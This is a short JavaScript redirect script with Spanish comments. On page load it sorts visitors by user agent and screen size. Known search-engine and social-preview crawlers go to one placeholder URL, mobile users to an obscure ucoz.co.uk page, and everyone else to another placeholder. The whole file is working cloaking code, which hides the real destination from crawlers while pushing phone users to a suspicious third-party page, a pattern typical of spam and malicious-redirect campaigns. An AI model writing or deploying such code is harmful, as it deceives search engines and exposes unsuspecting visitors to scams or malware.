// En el archivo redireccion.js // Función para redirigir (function() { // Lista de user agents de bots conocidos const botsConocidos = [ "adsbot-google", "applebot", "baiduspider", "bingbot", "blekkobot", "Embedly", "facebookexternalhit", "Facebot", "feedfetcher-google", "feedly", "FlipboardProxy", "google web preview", "googlebot", "googlebot-news", "google-inspectiontool", "googleother", "GrapeshotCrawler", "linkedinbot", "mail.ru_bot", "mediapartners-google", "msnbot_mobile", "msnbot", "msnbot", "pinterest", "Seznam", "SkypeUriPreview", "slurp", "storebot-google", "superfeedr bot", "tumblr", "twitterbot", "yandex", "prerender" ]; // Verifica si es un bot function esBot(userAgent) { return botsConocidos.some(bot => userAgent.toLowerCase().includes(bot.toLowerCase())); } // Verifica si es un dispositivo móvil o tablet function esDispositivoMovil(userAgent) { return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent); } // Verifica si la resolución indica un dispositivo móvil function esResolucionMovil() { const anchoPantalla = window.screen.width; const altoPantalla = window.screen.height; const anchoMaxMovil = 768; // Ejemplo: Ancho máximo típico para dispositivos móviles const anchoMaxTablet = 1024; // Ejemplo: Ancho máximo típico para tabletas return (anchoPantalla <= anchoMaxMovil || altoPantalla <= anchoMaxMovil); // Considera móviles } // Redirige según las condiciones function redirigirURL() { const userAgent = navigator.userAgent; if (esBot(userAgent)) { window.location.href = 'URL_ts'; } else if (esDispositivoMovil(userAgent) && esResolucionMovil()) { window.location.href = 'http://dfffdssdf.ucoz.co.uk/index_1_Lip8WE.html'; } else { window.location.href = 'URL_p'; } } // Llamada a la función para redirigir cuando se cargue la página document.addEventListener('DOMContentLoaded', redirigirURL); })();